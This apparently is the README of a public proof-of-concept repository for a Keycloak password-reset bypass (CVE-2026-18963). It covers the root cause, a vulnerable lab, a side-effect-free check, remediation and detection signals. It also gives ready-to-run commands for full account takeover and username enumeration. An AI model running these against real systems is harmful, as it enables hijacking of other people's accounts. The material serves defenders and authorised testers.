Skip to content

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-18963 — Keycloak reset-credentials bypass → unauthenticated account takeover

CVE Affected Python Dependencies

Knowing only a username or e-mail address, an unauthenticated attacker sets an arbitrary password on any Keycloak account. The password-reset e-mail is delivered to the real victim and is never needed — the attacker never reads a mailbox, never clicks a link, and holds no prior credential or session.

Affected: Keycloak 26.0.0 – 26.7.1. Fixed in 26.7.2.


Am I vulnerable?

One command. No valid username required, and no side effects — it sends no e-mail, writes to no account, and stops before the exploitable step.

git clone https://github.com/Snizi/CVE-2026-18963-Exploit
cd CVE-2026-18963-Exploit

python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm YOUR_REALM \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/YOUR_REALM/account/ \
  --safe-check

Python 3.9+, standard library only. Nothing to install.

Exit Verdict Meaning
0 🔴 VULNERABLE the parked e-mail gate was served — the bug itself
2 🟢 PATCHED the flow forked to login and stayed there (fix #51844 present)
2 🟡 MITIGATED reset-credentials unreachable — Forgot password is off. Not a patch.
3 INCONCLUSIVE unrecognised response — do not read this as a pass

Run it per realm — Forgot password is a per-realm setting, and master counts. Details, and why the check needs no user and touches nothing, in §4a.

Already know you are exposed? Jump to remediation and detection / threat hunting.

Try it without a target

The repo ships a lab that boots a vulnerable 26.7.1 and a patched 26.7.2 side by side against an identical realm, plus a mailbox to watch the reset e-mail arrive and stay unread while the account is taken over:

cd lab && docker compose up -d

python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
  --realm poc --client-id poc-app --safe-check   # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
  --realm poc --client-id poc-app --safe-check   # PATCHED

⚠️ Authorised testing only

This repository exists for defenders, incident responders and authorised penetration testers. Run it against systems you own or hold written permission to test. Everything here ships with a self-contained vulnerable lab (lab/), so nothing external needs to be touched to learn how the bug works. Pointing it at third-party infrastructure without authorisation is illegal in most jurisdictions and is not something this project supports.

References: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844


Contents


1. Root cause

Two defects chained. Neither is exploitable alone.

Defect 1 — an unscoped, sticky flag

services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java

processAction() — any POST carrying the form key tryAnotherWay:

processor.getAuthenticationSession().setAuthNote(
    AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);

The note is a bare boolean with no record of which execution set it. It is cleared only in the branch that handles a submitted authenticationExecution parameter. Omit that parameter — as this PoC does throughout — and the flag stays set for the life of the authentication session.

processFlow() — while the flag is truthy, normal flow evaluation is skipped:

if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
    if (lastExecutionId != null) {
        AuthenticationExecutionModel executionModel =
            realm.getAuthenticationExecutionById(lastExecutionId);
        if (executionModel != null)
            return createSelectAuthenticatorsScreen(executionModel);   // <-- attacker-usable form
    }
}

It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".

The glue is processResult() case FORK: — when Send Reset Email fires it stamps CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks the browser to the login page. The parked execution is precisely the e-mail gate.

Defect 2 — the e-mail gate never checks the action token

services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java

@Override
public void action(AuthenticationFlowContext context) {
    context.getUser().setEmailVerified(true);
    context.success();
}

Unconditional. Nothing verifies that the flow was resumed by a valid action token, so reaching action() is treated as equivalent to proving mailbox control.

The chain

tryAnotherWay POST            → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier      → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials    → sticky flag serves a form targeting the parked e-mail execution
POST that form                → ResetCredentialEmail.action() → success() → gate bypassed
                              → flow advances to UPDATE_PASSWORD → attacker sets the password

Six HTTP requests, no authentication, no authenticationExecution parameter at any point.

The fix (PR #51844)

  • The note now stores model.getId(), and processFlow() honours it only when it equals CURRENT_AUTHENTICATION_EXECUTION, otherwise removes it. In the attack the two differ (choose-user id vs. e-mail-gate id) — exactly what the patch detects, and exactly the signal --safe-check keys on.
  • ResetCredentialEmail.action() now requires context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID)) and otherwise fails with INVALID_USER.

2. Affected versions (including legacy lines)

Line Vulnerable Community fix
Legacy (WildFly-based Keycloak, ≤ 17) not affected
Quarkus 17 – 25.x not affected
26.0 26.0.0 – 26.0.17 none
26.1 26.1.0 – 26.1.5 none
26.2 26.2.0 – 26.2.16 none
26.3 26.3.0 – 26.3.5 none
26.4 26.4.0 – 26.4.14 26.4.15 (vendor backport tag)
26.5 26.5.0 – 26.5.7 none
26.6 26.6.0 – 26.6.5 26.6.6 (vendor backport tag)
26.7 26.7.0 – 26.7.1 26.7.2

What "legacy" means for this CVE

  • Legacy releases are not automatically safe — they are safe for a specific reason. The sticky-boolean note was introduced in 26.0.0 by commit 6a9e60bb, which added the "Try another way" authenticator-selector screen to the reset flow. Anything older simply lacks the code path. That includes the old WildFly-based distributions and RH-SSO 7.x, which are unaffected by this bug while remaining end-of-life and vulnerable to plenty of others. Staying on a legacy build is not a remediation.
  • Legacy 26.x lines are the real problem. 26.7.2 is the only fixed release published for the community train. If a deployment sits on 26.0 – 26.6, there is no patch release on that line — the fix requires a minor-version upgrade, not a point release. The 26.4.15 / 26.6.6 tags are vendor backports and are not interchangeable with community images.
  • Because so many long-lived deployments are pinned to an older 26.x for compatibility reasons, "we are fully patched on our line" is a common and incorrect assumption here. Check the running build, not the update policy.

Preconditions: the realm has Forgot password enabled and its bound reset-credentials flow uses the built-in reset-credential-email authenticator.


3. The lab

The repo ships both a vulnerable and a patched Keycloak, importing the identical realm, plus Mailpit to capture the reset mail — so you can watch it arrive and stay unread while the account is taken over.

cd lab
docker compose up -d
Service URL Version
kc-vuln http://localhost:8080 26.7.1 — vulnerable
kc-patched http://localhost:8100 26.7.2 — patched control
kc-mailpit http://localhost:8025 victim's mailbox

Realm poc, public client poc-app, user victim / OriginalPassw0rd!, Keycloak admin admin / admin.

Pin different builds with KC_VULN_VERSION / KC_PATCHED_VERSION:

KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln

Between runs, lab/reset-victim.sh restores the victim's password (KC=http://localhost:8100 lab/reset-victim.sh targets the patched instance).

lab/legit_reset.py performs a genuine reset by pulling the action-token link out of Mailpit and clicking it. It is the control sample for the detection work in §9 — run it and the exploit against the same realm, then diff the traces.

Teardown: docker compose down -v.


4. Usage

Python 3.9+, standard library only — no dependencies, drops onto any jump box.

--base           Keycloak base URL (e.g. https://sso.example.com)
--realm          realm name
--client-id      any enabled public client with the standard flow
--redirect-uri   a URI permitted by that client (default http://localhost:9999/callback)
--insecure       skip TLS verification
--verbose        log every HTTP request
--dump FILE      write the response body of a failing step to FILE

--client-id can be any enabled public client with the standard flow. The built-in account client exists in every realm and is the reliable choice, but it restricts redirect URIs, so --redirect-uri must then be <base>/realms/<realm>/account/ — the default is rejected and step 1 fails.

4a. Safe detection (--safe-check) — start here

Needs no valid username and has no side effects. This is the probe to use when you must not disturb the target.

python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --safe-check
Exit Verdict Meaning
0 VULNERABLE the parked e-mail gate was served — the bug itself
2 PATCHED the flow forked to login and stayed there (fix #51844 present)
2 MITIGATED reset-credentials unreachable — Forgot password is off. Not a patch.
3 INCONCLUSIVE unrecognised response — do not read this as a pass

Why it needs no user, and sends no mail. ResetCredentialEmail.authenticate() forks for an unknown user too:

if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }

processResult() case FORK: therefore parks CURRENT_AUTHENTICATION_EXECUTION on the e-mail execution even though nobody was found — and no mail is sent, because there is nobody to mail. The probe stops at the discriminator and never POSTs the gate, so action() never runs: no NPE on the target, no emailVerified write, no mail, no account touched.

It asserts on the positive signal only. VULNERABLE ⟺ step 5 returns a form still inside login-actions/reset-credentials whose execution differs from the choose-user execution. That is the bug: the stale AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note serving the parked e-mail gate. Both halves matter — the path proves we are still in the reset flow, the differing execution id proves it is the e-mail gate and not a re-render.

Anything else is not silently called patched. PATCHED requires its own evidence (forked to login-actions/authenticate and a password input present); everything remaining is INCONCLUSIVE and needs a human. An earlier design treated "not the gate form" as patched, which quietly turns every custom theme, error page, WAF block and interstitial into a false clean bill of health.

4b. Non-destructive proof (--check)

Drives the full chain but stops at the Update Password form. Reaching that form without an action token is conclusive.

python3 cve_2026_18963_poc.py \
  --base https://sso.example.com --realm corp \
  --client-id account \
  --redirect-uri https://sso.example.com/realms/corp/account/ \
  --victim alice@example.com --check

Two side effects are unavoidable, because they happen upstream of the password form — state them in the engagement scope:

  • a password-reset e-mail is delivered to the real victim (step 4 is a genuine reset request), and
  • the vulnerable action() sets emailVerified = true on the account.

No credential is modified. Prefer a dedicated test account.

4c. Full takeover

Lab or explicitly authorised demonstration only.

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc --client-id poc-app \
  --victim victim --new-password 'PoCPassw0rd!1'

Exit 0 vulnerable · 2 not exploitable · 1 password changed but the confirming grant failed (point --verify-client-id at a client with Direct Access Grants).

Completing the flow also returns an OIDC authorization code for the victim, so takeover is immediate — no second login with the new password is required.

4d. Username enumeration (--enum)

The same flaw is a username oracle, and a stronger one than Keycloak normally allows. ResetCredentialEmail.authenticate() deliberately returns an identical "You should receive an email shortly" for real and unknown users, so the reset form itself cannot be used to enumerate — that defence still holds at step 4. It breaks at step 6, where action() dereferences the user unconditionally (context.getUser().setEmailVerified(true)).

Identifier Step 6 Verdict
real user 200, reaches the Update Password form VALID
unknown user 400 (NPE error page) INVALID
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc --client-id poc-app \
  --enum candidates.example.txt

Never changes a password. Exit 0 if any identifier resolved, 2 otherwise.

Cost per probe — read before running. Reaching the oracle requires completing step 4, so every probe against a real account sends that person a genuine password-reset e-mail and sets emailVerified = true on their record. It is not a quiet check: it is visible to the account holder and it mutates their data. A 5,000-name wordlist is 5,000 e-mails to real people and 5,000 mutated accounts.

Use it to demonstrate that the oracle exists on a handful of identifiers for the report — not to harvest a directory. The guards are deliberately conservative:

  • --enum-max N refuses lists longer than N (default 25)
  • --enum-delay SEC pauses between probes (default 2.0)

Raising either should be a conscious decision recorded in the engagement notes.

Reporting angle: this defeats an anti-enumeration control Keycloak implemented on purpose. Worth writing up as its own finding alongside the takeover, and it kills "our usernames aren't guessable" as a mitigating factor.


5. Custom login themes

Any serious deployment ships a custom login theme, and custom themes rename or drop the stock element ids (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). A tool that keys on those ids reports a false negative on exactly the deployments that matter most — this one did, before it was rewritten. Themes seen in the wild use ids like id="login-form" and ship a forgot password anchor with an empty href.

This PoC therefore keys on nothing that a theme controls:

  • Form action URLs only. Every decision is made from the action= of the forms on the page — login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action — and from the execution query parameter inside them. Those paths are produced by Keycloak's own LoginActionsService, not by the theme.
  • No element ids. grep the source: there is not one kc-* id in it.
  • No message text. Response strings are localised — a German realm answers "Reset Credential nicht erlaubt", and matching on "You should receive an email" breaks on every non-English realm.
  • It never follows a themed "Forgot password" link. The link may be absent, empty, JavaScript-driven, or point somewhere outside Keycloak entirely — none of which says anything about whether the endpoint is reachable. The tool constructs /realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… and probes it directly, taking tab_id from whatever form the login page does expose.

If a target still returns INCONCLUSIVE, run with --verbose --dump out.html and read the response — the tool deliberately refuses to guess.


6. Known gap — PKCE

A client that enforces PKCE rejects step 1 with Missing parameter: code_challenge_method. This is reported as INCONCLUSIVE (exit 3), never as a pass. Until PKCE support lands, a realm whose only usable public client mandates PKCE cannot be checked with this tool — try the built-in account client, which normally does not enforce it.


7. Validation performed

Every run below is against the lab in this repo, using the code as published.

Test Target Result
--safe-check 26.7.1 VULNERABLE, exit 0 — e-mail gate served (execution ≠ choose-user)
--safe-check 26.7.2 PATCHED, exit 2 — forked to login and stayed
--safe-check, Forgot password off 26.7.2 MITIGATED, exit 2 — HTTP 400, flow unreachable
Full takeover 26.7.1 exit 0 — password set, OIDC code issued, password grant confirms
Full takeover 26.7.2 exit 2 — blocked at step 5, account untouched
--check 26.7.1 reached UPDATE_PASSWORD; password verified unchanged afterwards
--enum 26.7.1 victim and victim@poc.local VALID, does-not-exist INVALID
Credential state after takeover 26.7.1 new password → 200, old password → 400
Credential state after blocked run 26.7.2 old password → 200, attacker password → 400
Victim mailbox Mailpit reset mails delivered and unread; the action-token link is never fetched

Two findings worth flagging beyond the advisory text:

  1. Accounts with no e-mail address are exploitable. ResetCredentialEmail.authenticate() takes the forkWithSuccessMessage path when user.getEmail() is null, which still parks the execution via case FORK:. The same holds for an SMTP send failure — a broken or absent mail server is not a mitigation. This matters directly for AD/LDAP-federated realms, where accounts frequently carry no mail attribute.
  2. Completing the flow logs the attacker in as the victim. The final redirect carries a valid OIDC authorization code, so the account is compromised the moment the password form is submitted.

MFA is not a mitigation. The default reset-credentials flow contains no OTP step, and once through, the attacker can remove the victim's registered factors.


8. Remediation

Fix: upgrade. 26.7.2 for community builds, or the vendor backport tag matching your subscription. Everything below is a stopgap.

Interim mitigations, best first:

  1. Disable Forgot password per realm (Realm settings → Login). Confirmed effective — the flow returns HTTP 400 and cannot be entered. Check every realm, master included.
  2. Disable the Reset Password execution in the bound reset-credentials flow. Works, but the login page still offers the link, so the UX is poor. Useful where a custom theme ignores the realm switch.
  3. Add a required authenticator (OTP/WebAuthn) after the e-mail step in the reset flow. This does not close the bypass — it only limits full takeover to accounts that have actually enrolled that factor.

Realms whose bound reset flow is fully custom and never invokes reset-credential-email are not exploitable via this path.


9. Detection

Keycloak emits no "action token skipped" event, so detection is heuristic. Run lab/legit_reset.py alongside the exploit to generate both traces and compare.

  • Reverse-proxy / ingress logs — the strongest signal. A legitimate reset shows a GET /login-actions/action-token?... (the victim clicking the mail) before the password change. The bypass has no such GET. Instead it shows a POST to login-actions/reset-credentials whose body contains tryAnotherWay, followed by a second POST to the same path with an empty body, then the password form. A tryAnotherWay POST inside the reset flow is not something the stock UI produces in normal use.
  • Admin events: SEND_RESET_PASSWORD followed by UPDATE_PASSWORD sharing the same code_id within a few seconds — sub-second in the lab. A user with the mail already open can look fast too, so corroborate with the proxy logs.
  • Accounts whose emailVerified flipped to true with no corresponding VERIFY_EMAIL event are a useful supporting indicator, and one the attacker cannot avoid leaving.

Absence of events proves nothing if event logging or retention was off. Check the retention window before concluding a deployment was not hit.


Author

Snizigithub.com/Sniziluandmsimoes@gmail.com

Released under the MIT License. Issues and PRs welcome — particularly PKCE support and additional real-world theme quirks.

Releases

Packages

Contributors

Languages